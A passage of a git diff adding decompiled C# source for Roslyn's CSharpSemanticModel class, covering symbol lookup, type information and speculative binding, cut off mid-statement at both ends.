PreviousScriptCompilation) + { + return new CSharpScriptCompilationInfo(compilation, ((ScriptCompilationInfo)this).ReturnTypeOpt, ((ScriptCompilationInfo)this).GlobalsType); + } + return this; + } + + internal override ScriptCompilationInfo CommonWithPreviousScriptCompilation(Compilation? compilation) + { + return (ScriptCompilationInfo)(object)WithPreviousScriptCompilation((CSharpCompilation)(object)compilation); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpSemanticModel.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpSemanticModel.cs new file mode 100644 index 0000000..4f64517 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpSemanticModel.cs @@ -0,0 +1,3994 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics; +using System.Linq; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal abstract class CSharpSemanticModel : SemanticModel +{ + [Flags] + internal enum SymbolInfoOptions + { + PreferTypeToConstructors = 1, + PreferConstructorsToType = 2, + ResolveAliases = 4, + PreserveAliases = 8, + DefaultOptions = 6 + } + + public abstract CSharpCompilation Compilation { get; } + + internal abstract CSharpSyntaxNode Root { get; } + + public abstract CSharpSemanticModel ParentModel { get; } + + public abstract SyntaxTree SyntaxTree { get; } + + public sealed override string Language => "C#"; + + protected sealed override Compilation CompilationCore => (Compilation)(object)Compilation; + + protected sealed override SemanticModel ParentModelCore => (SemanticModel)(object)ParentModel; + + protected sealed override SyntaxTree SyntaxTreeCore => SyntaxTree; + + protected sealed override SyntaxNode RootCore => (SyntaxNode)(object)Root; + + internal static bool CanGetSemanticInfo(CSharpSyntaxNode node, bool allowNamedArgumentName = false, bool isSpeculative = false) + { + if (!isSpeculative && IsInStructuredTriviaOtherThanCrefOrNameAttribute(node)) + { + return false; + } + switch (node.Kind()) + { + case SyntaxKind.ObjectInitializerExpression: + case SyntaxKind.CollectionInitializerExpression: + return false; + case SyntaxKind.ComplexElementInitializerExpression: + return false; + case SyntaxKind.IdentifierName: + if (!isSpeculative && node.Parent != null && node.Parent.Kind() == SyntaxKind.NameEquals && node.Parent.Parent.Kind() == SyntaxKind.UsingDirective) + { + return false; + } + break; + case SyntaxKind.OmittedTypeArgument: + case SyntaxKind.RefExpression: + case SyntaxKind.RefType: + case SyntaxKind.ScopedType: + return false; + } + if (((SyntaxNode)node).IsMissing) + { + return false; + } + if ((!(node is ExpressionSyntax) || (!(isSpeculative || allowNamedArgumentName) && SyntaxFacts.IsNamedArgumentName((SyntaxNode)(object)node))) && !(node is ConstructorInitializerSyntax) && !(node is PrimaryConstructorBaseTypeSyntax) && !(node is AttributeSyntax)) + { + return node is CrefSyntax; + } + return true; + } + + internal abstract SymbolInfo GetSymbolInfoWorker(CSharpSyntaxNode node, SymbolInfoOptions options, CancellationToken cancellationToken = default(CancellationToken)); + + internal abstract SymbolInfo GetCollectionInitializerSymbolInfoWorker(InitializerExpressionSyntax collectionInitializer, ExpressionSyntax node, CancellationToken cancellationToken = default(CancellationToken)); + + internal abstract CSharpTypeInfo GetTypeInfoWorker(CSharpSyntaxNode node, CancellationToken cancellationToken = default(CancellationToken)); + + internal abstract BoundExpression GetSpeculativelyBoundExpression(int position, ExpressionSyntax expression, SpeculativeBindingOption bindingOption, out Binder binder, out ImmutableArray crefSymbols); + + internal abstract ImmutableArray GetMemberGroupWorker(CSharpSyntaxNode node, SymbolInfoOptions options, CancellationToken cancellationToken = default(CancellationToken)); + + internal abstract ImmutableArray GetIndexerGroupWorker(CSharpSyntaxNode node, SymbolInfoOptions options, CancellationToken cancellationToken = default(CancellationToken)); + + internal abstract Optional GetConstantValueWorker(CSharpSyntaxNode node, CancellationToken cancellationToken = default(CancellationToken)); + + internal Binder GetSpeculativeBinder(int position, ExpressionSyntax expression, SpeculativeBindingOption bindingOption) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Invalid comparison between Unknown and I4 + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Invalid comparison between Unknown and I4 + position = CheckAndAdjustPosition(position); + if ((int)bindingOption == 1 && !(expression is TypeSyntax)) + { + return null; + } + Binder binder = GetEnclosingBinder(position); + if (binder == null) + { + return null; + } + if ((int)bindingOption == 1 && IsInTypeofExpression(position)) + { + binder = new TypeofBinder(expression, binder); + } + binder = new WithNullableContextBinder(SyntaxTree, position, binder); + return new ExecutableCodeBinder((SyntaxNode)(object)expression, binder.ContainingMemberOrLambda, binder).GetBinder((SyntaxNode)(object)expression); + } + + private Binder GetSpeculativeBinderForAttribute(int position, AttributeSyntax attribute) + { + position = CheckAndAdjustPositionForSpeculativeAttribute(position); + Binder enclosingBinder = GetEnclosingBinder(position); + if (enclosingBinder == null) + { + return null; + } + return new ExecutableCodeBinder((SyntaxNode)(object)attribute, enclosingBinder.ContainingMemberOrLambda, enclosingBinder).GetBinder((SyntaxNode)(object)attribute); + } + + private static BoundExpression GetSpeculativelyBoundExpressionHelper(Binder binder, ExpressionSyntax expression, SpeculativeBindingOption bindingOption) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Invalid comparison between Unknown and I4 + if ((int)bindingOption == 1 || binder.Flags.Includes(BinderFlags.CrefParameterOrReturnType)) + { + return binder.BindNamespaceOrType(expression, BindingDiagnosticBag.Discarded); + } + return binder.BindExpression(expression, BindingDiagnosticBag.Discarded); + } + + protected BoundExpression GetSpeculativelyBoundExpressionWithoutNullability(int position, ExpressionSyntax expression, SpeculativeBindingOption bindingOption, out Binder binder, out ImmutableArray crefSymbols) + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_00eb: Unknown result type (might be due to invalid IL or missing references) + if (expression == null) + { + throw new ArgumentNullException("expression"); + } + crefSymbols = default(ImmutableArray); + expression = SyntaxFactory.GetStandaloneExpression(expression); + binder = GetSpeculativeBinder(position, expression, bindingOption); + if (binder == null) + { + return null; + } + if (binder.Flags.Includes(BinderFlags.CrefParameterOrReturnType)) + { + crefSymbols = ImmutableArray.Create((Symbol)binder.BindType(expression, BindingDiagnosticBag.Discarded).Type); + return null; + } + if (binder.InCref) + { + if (((SyntaxNode?)(object)expression).IsKind(SyntaxKind.QualifiedName)) + { + QualifiedNameSyntax qualifiedNameSyntax = (QualifiedNameSyntax)expression; + QualifiedCrefSyntax crefSyntax = SyntaxFactory.QualifiedCref(qualifiedNameSyntax.Left, SyntaxFactory.NameMemberCref(qualifiedNameSyntax.Right)); + crefSymbols = BindCref(crefSyntax, binder); + } + else if (expression is TypeSyntax typeSyntax) + { + CrefSyntax crefSyntax2 = ((typeSyntax is PredefinedTypeSyntax) ? ((CrefSyntax)SyntaxFactory.TypeCref(typeSyntax)) : ((CrefSyntax)SyntaxFactory.NameMemberCref(typeSyntax))); + crefSymbols = BindCref(crefSyntax2, binder); + } + return null; + } + return GetSpeculativelyBoundExpressionHelper(binder, expression, bindingOption); + } + + internal static ImmutableArray BindCref(CrefSyntax crefSyntax, Binder binder) + { + Symbol ambiguityWinner; + return binder.BindCref(crefSyntax, out ambiguityWinner, BindingDiagnosticBag.Discarded); + } + + internal SymbolInfo GetCrefSymbolInfo(int position, CrefSyntax crefSyntax, SymbolInfoOptions options, bool hasParameterList) + { + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + Binder enclosingBinder = GetEnclosingBinder(position); + if (enclosingBinder != null && enclosingBinder.InCref) + { + return GetCrefSymbolInfo(OneOrMany.Create(BindCref(crefSyntax, enclosingBinder)), options, hasParameterList); + } + return SymbolInfo.None; + } + + internal static bool HasParameterList(CrefSyntax crefSyntax) + { + while (crefSyntax.Kind() == SyntaxKind.QualifiedCref) + { + crefSyntax = ((QualifiedCrefSyntax)crefSyntax).Member; + } + return crefSyntax.Kind() switch + { + SyntaxKind.NameMemberCref => ((NameMemberCrefSyntax)crefSyntax).Parameters != null, + SyntaxKind.IndexerMemberCref => ((IndexerMemberCrefSyntax)crefSyntax).Parameters != null, + SyntaxKind.OperatorMemberCref => ((OperatorMemberCrefSyntax)crefSyntax).Parameters != null, + SyntaxKind.ConversionOperatorMemberCref => ((ConversionOperatorMemberCrefSyntax)crefSyntax).Parameters != null, + _ => false, + }; + } + + private static SymbolInfo GetCrefSymbolInfo(OneOrMany symbols, SymbolInfoOptions options, bool hasParameterList) + { + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + //IL_006e: Unknown result type (might be due to invalid IL or missing references) + switch (symbols.Count) + { + case 0: + return SymbolInfo.None; + case 1: + return GetSymbolInfoForSymbol(symbols[0], options); + default: + { + if ((options & SymbolInfoOptions.ResolveAliases) == SymbolInfoOptions.ResolveAliases) + { + symbols = UnwrapAliases(symbols); + } + LookupResultKind resultKind = LookupResultKind.Ambiguous; + SymbolKind firstCandidateKind = symbols[0].Kind; + if (hasParameterList && symbols.All((Func)((Symbol s) => s.Kind == firstCandidateKind))) + { + resultKind = LookupResultKind.OverloadResolutionFailure; + } + return SymbolInfoFactory.Create(symbols, resultKind, isDynamic: false); + } + } + } + + private BoundAttribute GetSpeculativelyBoundAttribute(int position, AttributeSyntax attribute, out Binder binder) + { + if (attribute == null) + { + throw new ArgumentNullException("attribute"); + } + binder = GetSpeculativeBinderForAttribute(position, attribute); + if (binder == null) + { + return null; + } + Microsoft.CodeAnalysis.CSharp.Symbols.AliasSymbol alias; + Microsoft.CodeAnalysis.CSharp.Symbols.NamedTypeSymbol attributeType = (Microsoft.CodeAnalysis.CSharp.Symbols.NamedTypeSymbol)binder.BindType(attribute.Name, BindingDiagnosticBag.Discarded, out alias).Type; + return new ExecutableCodeBinder((SyntaxNode)(object)attribute, binder.ContainingMemberOrLambda, binder).BindAttribute(attribute, attributeType, null, BindingDiagnosticBag.Discarded); + } + + private int CheckAndAdjustPositionForSpeculativeAttribute(int position) + { + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Unknown result type (might be due to invalid IL or missing references) + //IL_0072: Unknown result type (might be due to invalid IL or missing references) + position = CheckAndAdjustPosition(position); + SyntaxToken val = Root.FindToken(position); + if (position == 0 && position != ((SyntaxToken)(ref val)).SpanStart) + { + return position; + } + CSharpSyntaxNode cSharpSyntaxNode = (CSharpSyntaxNode)(object)((SyntaxToken)(ref val)).Parent; + if (position == ((SyntaxNode)cSharpSyntaxNode).SpanStart) + { + SyntaxToken val2; + if (cSharpSyntaxNode is BaseTypeDeclarationSyntax baseTypeDeclarationSyntax) + { + val2 = baseTypeDeclarationSyntax.OpenBraceToken; + position = ((SyntaxToken)(ref val2)).SpanStart; + } + MethodDeclarationSyntax methodDeclarationSyntax = ((SyntaxNode)cSharpSyntaxNode).FirstAncestorOrSelf((Func)null, true); + if (methodDeclarationSyntax != null && ((SyntaxNode)methodDeclarationSyntax).SpanStart == position) + { + val2 = methodDeclarationSyntax.Identifier; + position = ((SyntaxToken)(ref val2)).SpanStart; + } + } + return position; + } + + protected override IOperation GetOperationCore(SyntaxNode node, CancellationToken cancellationToken) + { + CSharpSyntaxNode cSharpSyntaxNode = (CSharpSyntaxNode)(object)node; + CheckSyntaxNode(cSharpSyntaxNode); + return GetOperationWorker(cSharpSyntaxNode, cancellationToken); + } + + internal virtual IOperation GetOperationWorker(CSharpSyntaxNode node, CancellationToken cancellationToken) + { + return null; + } + + public abstract SymbolInfo GetSymbolInfo(OrderingSyntax node, CancellationToken cancellationToken = default(CancellationToken)); + + public abstract SymbolInfo GetSymbolInfo(SelectOrGroupClauseSyntax node, CancellationToken cancellationToken = default(CancellationToken)); + + public SymbolInfo GetSymbolInfo(PositionalPatternClauseSyntax node, CancellationToken cancellationToken = default(CancellationToken)) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + CheckSyntaxNode(node); + return GetSymbolInfoWorker(node, SymbolInfoOptions.DefaultOptions, cancellationToken); + } + + public SymbolInfo GetSymbolInfo(ExpressionSyntax expression, CancellationToken cancellationToken = default(CancellationToken)) + { + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_013d: Unknown result type (might be due to invalid IL or missing references) + //IL_007a: Unknown result type (might be due to invalid IL or missing references) + //IL_010c: Unknown result type (might be due to invalid IL or missing references) + //IL_0133: Unknown result type (might be due to invalid IL or missing references) + //IL_012b: Unknown result type (might be due to invalid IL or missing references) + //IL_0092: Unknown result type (might be due to invalid IL or missing references) + //IL_00e7: Unknown result type (might be due to invalid IL or missing references) + //IL_00bc: Unknown result type (might be due to invalid IL or missing references) + //IL_00c2: Invalid comparison between Unknown and I4 + //IL_00cf: Unknown result type (might be due to invalid IL or missing references) + CheckSyntaxNode(expression); + if (!CanGetSemanticInfo(expression, allowNamedArgumentName: true)) + { + return SymbolInfo.None; + } + if (SyntaxFacts.IsNamedArgumentName((SyntaxNode)(object)expression)) + { + return GetNamedArgumentSymbolInfo((IdentifierNameSyntax)expression, cancellationToken); + } + if (SyntaxFacts.IsDeclarationExpressionType((SyntaxNode)(object)expression, out DeclarationExpressionSyntax parent)) + { + switch (parent.Designation.Kind()) + { + case SyntaxKind.SingleVariableDesignation: + return GetSymbolInfoFromSymbolOrNone(TypeFromVariable((SingleVariableDesignationSyntax)parent.Designation, cancellationToken).Type); + case SyntaxKind.DiscardDesignation: + return GetSymbolInfoFromSymbolOrNone(GetTypeInfoWorker(parent, cancellationToken).Type.GetPublicSymbol()); + case SyntaxKind.ParenthesizedVariableDesignation: + if (((TypeSyntax)expression).IsVar) + { + CSharpTypeInfo typeInfoWorker = GetTypeInfoWorker(expression, cancellationToken); + Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol type = typeInfoWorker.Type; + if ((object)type != null && (int)type.TypeKind != 6) + { + return GetSymbolInfoFromSymbolOrNone(typeInfoWorker.Type.GetPublicSymbol()); + } + return GetSymbolInfoFromSymbolOrNone(GetTypeInfoWorker(parent, cancellationToken).Type.GetPublicSymbol()); + } + break; + } + } + else if (expression is DeclarationExpressionSyntax declarationExpressionSyntax) + { + if (declarationExpressionSyntax.Designation.Kind() != SyntaxKind.SingleVariableDesignation) + { + return SymbolInfo.None; + } + ISymbol declaredSymbol = GetDeclaredSymbol((SingleVariableDesignationSyntax)declarationExpressionSyntax.Designation, cancellationToken); + if (declaredSymbol == null) + { + return SymbolInfo.None; + } + return new SymbolInfo(declaredSymbol); + } + return GetSymbolInfoWorker(expression, SymbolInfoOptions.DefaultOptions, cancellationToken); + } + + private static SymbolInfo GetSymbolInfoFromSymbolOrNone(ITypeSymbol type) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Invalid comparison between Unknown and I4 + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + if (type == null || (int)((ISymbol)type).Kind != 4) + { + return new SymbolInfo((ISymbol)(object)type); + } + return SymbolInfo.None; + } + + private (ITypeSymbol Type, NullableAnnotation Annotation) TypeFromVariable(SingleVariableDesignationSyntax variableDesignation, CancellationToken cancellationToken) + { + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + ISymbol declaredSymbol = GetDeclaredSymbol(variableDesignation, cancellationToken); + ILocalSymbol val = (ILocalSymbol)(object)((declaredSymbol is ILocalSymbol) ? declaredSymbol : null); + if (val == null) + { + IFieldSymbol val2 = (IFieldSymbol)(object)((declaredSymbol is IFieldSymbol) ? declaredSymbol : null); + if (val2 != null) + { + return (Type: val2.Type, Annotation: val2.NullableAnnotation); + } + return default((ITypeSymbol, NullableAnnotation)); + } + return (Type: val.Type, Annotation: val.NullableAnnotation); + } + + public SymbolInfo GetCollectionInitializerSymbolInfo(ExpressionSyntax expression, CancellationToken cancellationToken = default(CancellationToken)) + { + //IL_00cd: Unknown result type (might be due to invalid IL or missing references) + //IL_00c7: Unknown result type (might be due to invalid IL or missing references) + CheckSyntaxNode(expression); + if (expression.Parent != null && expression.Parent.Kind() == SyntaxKind.CollectionInitializerExpression) + { + InitializerExpressionSyntax initializerExpressionSyntax = (InitializerExpressionSyntax)expression.Parent; + while (initializerExpressionSyntax.Parent != null && initializerExpressionSyntax.Parent.Kind() == SyntaxKind.SimpleAssignmentExpression && ((AssignmentExpressionSyntax)initializerExpressionSyntax.Parent).Right == initializerExpressionSyntax && initializerExpressionSyntax.Parent.Parent != null && initializerExpressionSyntax.Parent.Parent.Kind() == SyntaxKind.ObjectInitializerExpression) + { + initializerExpressionSyntax = (InitializerExpressionSyntax)initializerExpressionSyntax.Parent.Parent; + } + if (initializerExpressionSyntax.Parent is BaseObjectCreationExpressionSyntax baseObjectCreationExpressionSyntax && baseObjectCreationExpressionSyntax.Initializer == initializerExpressionSyntax && CanGetSemanticInfo(baseObjectCreationExpressionSyntax)) + { + return GetCollectionInitializerSymbolInfoWorker((InitializerExpressionSyntax)expression.Parent, expression, cancellationToken); + } + } + return SymbolInfo.None; + } + + public SymbolInfo GetSymbolInfo(ConstructorInitializerSyntax constructorInitializer, CancellationToken cancellationToken = default(CancellationToken)) + { + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + CheckSyntaxNode(constructorInitializer); + if (!CanGetSemanticInfo(constructorInitializer)) + { + return SymbolInfo.None; + } + return GetSymbolInfoWorker(constructorInitializer, SymbolInfoOptions.DefaultOptions, cancellationToken); + } + + public SymbolInfo GetSymbolInfo(PrimaryConstructorBaseTypeSyntax constructorInitializer, CancellationToken cancellationToken = default(CancellationToken)) + { + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + CheckSyntaxNode(constructorInitializer); + if (!CanGetSemanticInfo(constructorInitializer)) + { + return SymbolInfo.None; + } + return GetSymbolInfoWorker(constructorInitializer, SymbolInfoOptions.DefaultOptions, cancellationToken); + } + + public SymbolInfo GetSymbolInfo(AttributeSyntax attributeSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + CheckSyntaxNode(attributeSyntax); + if (!CanGetSemanticInfo(attributeSyntax)) + { + return SymbolInfo.None; + } + return GetSymbolInfoWorker(attributeSyntax, SymbolInfoOptions.DefaultOptions, cancellationToken); + } + + public SymbolInfo GetSymbolInfo(CrefSyntax crefSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + CheckSyntaxNode(crefSyntax); + if (!CanGetSemanticInfo(crefSyntax)) + { + return SymbolInfo.None; + } + return GetSymbolInfoWorker(crefSyntax, SymbolInfoOptions.DefaultOptions, cancellationToken); + } + + public SymbolInfo GetSpeculativeSymbolInfo(int position, ExpressionSyntax expression, SpeculativeBindingOption bindingOption) + { + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + if (!CanGetSemanticInfo(expression, allowNamedArgumentName: false, isSpeculative: true)) + { + return SymbolInfo.None; + } + Binder binder; + ImmutableArray crefSymbols; + BoundNode speculativelyBoundExpression = GetSpeculativelyBoundExpression(position, expression, bindingOption, out binder, out crefSymbols); + if (speculativelyBoundExpression == null) + { + if (!crefSymbols.IsDefault) + { + return GetCrefSymbolInfo(OneOrMany.Create(crefSymbols), SymbolInfoOptions.DefaultOptions, hasParameterList: false); + } + return SymbolInfo.None; + } + return GetSymbolInfoForNode(SymbolInfoOptions.DefaultOptions, speculativelyBoundExpression, speculativelyBoundExpression, null, binder); + } + + public SymbolInfo GetSpeculativeSymbolInfo(int position, AttributeSyntax attribute) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + Binder binder; + BoundNode speculativelyBoundAttribute = GetSpeculativelyBoundAttribute(position, attribute, out binder); + if (speculativelyBoundAttribute == null) + { + return SymbolInfo.None; + } + return GetSymbolInfoForNode(SymbolInfoOptions.DefaultOptions, speculativelyBoundAttribute, speculativelyBoundAttribute, null, binder); + } + + public SymbolInfo GetSpeculativeSymbolInfo(int position, ConstructorInitializerSyntax constructorInitializer) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_0051: Unknown result type (might be due to invalid IL or missing references) + //IL_0089: Unknown result type (might be due to invalid IL or missing references) + //IL_0083: Unknown result type (might be due to invalid IL or missing references) + position = CheckAndAdjustPosition(position); + if (constructorInitializer == null) + { + throw new ArgumentNullException("constructorInitializer"); + } + SyntaxToken val = Root.FindToken(position); + ConstructorInitializerSyntax constructorInitializerSyntax = ((SyntaxToken)(ref val)).Parent.AncestorsAndSelf(true).OfType().FirstOrDefault(); + if (constructorInitializerSyntax == null) + { + return SymbolInfo.None; + } + MemberSemanticModel memberModel = GetMemberModel((SyntaxNode)(object)constructorInitializerSyntax); + if (memberModel == null) + { + return SymbolInfo.None; + } + Binder enclosingBinder = memberModel.GetEnclosingBinder(position); + if (enclosingBinder != null) + { + enclosingBinder = new ExecutableCodeBinder((SyntaxNode)(object)constructorInitializer, enclosingBinder.ContainingMemberOrLambda, enclosingBinder); + BoundExpressionStatement bnode = enclosingBinder.BindConstructorInitializer(constructorInitializer, BindingDiagnosticBag.Discarded); + return GetSymbolInfoFromBoundConstructorInitializer(memberModel, enclosingBinder, bnode); + } + return SymbolInfo.None; + } + + private static SymbolInfo GetSymbolInfoFromBoundConstructorInitializer(MemberSemanticModel memberModel, Binder binder, BoundExpressionStatement bnode) + { + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + BoundExpression boundExpression; + for (boundExpression = bnode.Expression; boundExpression is BoundSequence boundSequence; boundExpression = boundSequence.Value) + { + } + return memberModel.GetSymbolInfoForNode(SymbolInfoOptions.DefaultOptions, boundExpression, boundExpression, null, binder); + } + + public SymbolInfo GetSpeculativeSymbolInfo(int position, PrimaryConstructorBaseTypeSyntax constructorInitializer) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0075: Unknown result type (might be due to invalid IL or missing references) + //IL_007a: Unknown result type (might be due to invalid IL or missing references) + //IL_00b6: Unknown result type (might be due to invalid IL or missing references) + //IL_00b0: Unknown result type (might be due to invalid IL or missing references) + position = CheckAndAdjustPosition(position); + if (constructorInitializer == null) + { + throw new ArgumentNullException("constructorInitializer"); + } + SyntaxToken val = Root.FindToken(position); + PrimaryConstructorBaseTypeSyntax primaryConstructorBaseTypeSyntax = ((SyntaxToken)(ref val)).Parent.AncestorsAndSelf(true).OfType().FirstOrDefault(); + if (primaryConstructorBaseTypeSyntax == null) + { + return SymbolInfo.None; + } + MemberSemanticModel memberModel = GetMemberModel((SyntaxNode)(object)primaryConstructorBaseTypeSyntax); + if (memberModel == null) + { + return SymbolInfo.None; + } + ArgumentListSyntax argumentList = primaryConstructorBaseTypeSyntax.ArgumentList; + int position2; + if (!LookupPosition.IsBetweenTokens(position, argumentList.OpenParenToken, argumentList.CloseParenToken)) + { + val = argumentList.OpenParenToken; + position2 = ((SyntaxToken)(ref val)).SpanStart; + } + else + { + position2 = position; + } + Binder enclosingBinder = memberModel.GetEnclosingBinder(position2); + if (enclosingBinder != null) + { + enclosingBinder = new ExecutableCodeBinder((SyntaxNode)(object)constructorInitializer, enclosingBinder.ContainingMemberOrLambda, enclosingBinder); + BoundExpressionStatement bnode = enclosingBinder.BindConstructorInitializer(constructorInitializer, BindingDiagnosticBag.Discarded); + return GetSymbolInfoFromBoundConstructorInitializer(memberModel, enclosingBinder, bnode); + } + return SymbolInfo.None; + } + + public SymbolInfo GetSpeculativeSymbolInfo(int position, CrefSyntax cref, SymbolInfoOptions options = SymbolInfoOptions.DefaultOptions) + { + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + position = CheckAndAdjustPosition(position); + return GetCrefSymbolInfo(position, cref, options, HasParameterList(cref)); + } + + public TypeInfo GetTypeInfo(ConstructorInitializerSyntax constructorInitializer, CancellationToken cancellationToken = default(CancellationToken)) + { + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + CheckSyntaxNode(constructorInitializer); + return CanGetSemanticInfo(constructorInitializer) ? GetTypeInfoWorker(constructorInitializer, cancellationToken) : CSharpTypeInfo.None; + } + + public abstract TypeInfo GetTypeInfo(SelectOrGroupClauseSyntax node, CancellationToken cancellationToken = default(CancellationToken)); + + public TypeInfo GetTypeInfo(PatternSyntax pattern, CancellationToken cancellationToken = default(CancellationToken)) + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + while (pattern is ParenthesizedPatternSyntax parenthesizedPatternSyntax) + { + pattern = parenthesizedPatternSyntax.Pattern; + } + CheckSyntaxNode(pattern); + return GetTypeInfoWorker(pattern, cancellationToken); + } + + public TypeInfo GetTypeInfo(ExpressionSyntax expression, CancellationToken cancellationToken = default(CancellationToken)) + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_011b: Unknown result type (might be due to invalid IL or missing references) + //IL_0072: Unknown result type (might be due to invalid IL or missing references) + //IL_007f: Unknown result type (might be due to invalid IL or missing references) + //IL_0084: Unknown result type (might be due to invalid IL or missing references) + //IL_0087: Unknown result type (might be due to invalid IL or missing references) + //IL_0088: Unknown result type (might be due to invalid IL or missing references) + //IL_0093: Unknown result type (might be due to invalid IL or missing references) + //IL_00b3: Unknown result type (might be due to invalid IL or missing references) + //IL_00ba: Unknown result type (might be due to invalid IL or missing references) + //IL_00c9: Unknown result type (might be due to invalid IL or missing references) + //IL_010d: Unknown result type (might be due to invalid IL or missing references) + //IL_00f5: Unknown result type (might be due to invalid IL or missing references) + //IL_00fb: Invalid comparison between Unknown and I4 + //IL_00ff: Unknown result type (might be due to invalid IL or missing references) + CheckSyntaxNode(expression); + if (!CanGetSemanticInfo(expression)) + { + return CSharpTypeInfo.None; + } + if (SyntaxFacts.IsDeclarationExpressionType((SyntaxNode)(object)expression, out DeclarationExpressionSyntax parent)) + { + switch (parent.Designation.Kind()) + { + case SyntaxKind.SingleVariableDesignation: + { + (ITypeSymbol Type, NullableAnnotation Annotation) tuple = TypeFromVariable((SingleVariableDesignationSyntax)parent.Designation, cancellationToken); + ITypeSymbol item = tuple.Type; + NullableAnnotation item2 = tuple.Annotation; + Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol symbol = item.GetSymbol(); + NullabilityInfo val = item2.ToNullabilityInfo(symbol); + return new CSharpTypeInfo(symbol, symbol, val, val, Conversion.Identity); + } + case SyntaxKind.DiscardDesignation: + { + CSharpTypeInfo typeInfoWorker2 = GetTypeInfoWorker(parent, cancellationToken); + return new CSharpTypeInfo(typeInfoWorker2.Type, typeInfoWorker2.Type, typeInfoWorker2.Nullability, typeInfoWorker2.Nullability, Conversion.Identity); + } + case SyntaxKind.ParenthesizedVariableDesignation: + if (((TypeSyntax)expression).IsVar) + { + CSharpTypeInfo typeInfoWorker = GetTypeInfoWorker(expression, cancellationToken); + Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol type = typeInfoWorker.Type; + if ((object)type != null && (int)type.TypeKind != 6) + { + return typeInfoWorker; + } + return GetTypeInfoWorker(parent, cancellationToken); + } + break; + } + } + return GetTypeInfoWorker(expression, cancellationToken); + } + + public TypeInfo GetTypeInfo(AttributeSyntax attributeSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + CheckSyntaxNode(attributeSyntax); + return CanGetSemanticInfo(attributeSyntax) ? GetTypeInfoWorker(attributeSyntax, cancellationToken) : CSharpTypeInfo.None; + } + + public Conversion GetConversion(SyntaxNode expression, CancellationToken cancellationToken = default(CancellationToken)) + { + CSharpSyntaxNode cSharpSyntaxNode = (CSharpSyntaxNode)(object)expression; + CheckSyntaxNode(cSharpSyntaxNode); + CSharpTypeInfo obj = (CanGetSemanticInfo(cSharpSyntaxNode) ? GetTypeInfoWorker(cSharpSyntaxNode, cancellationToken) : CSharpTypeInfo.None); + return 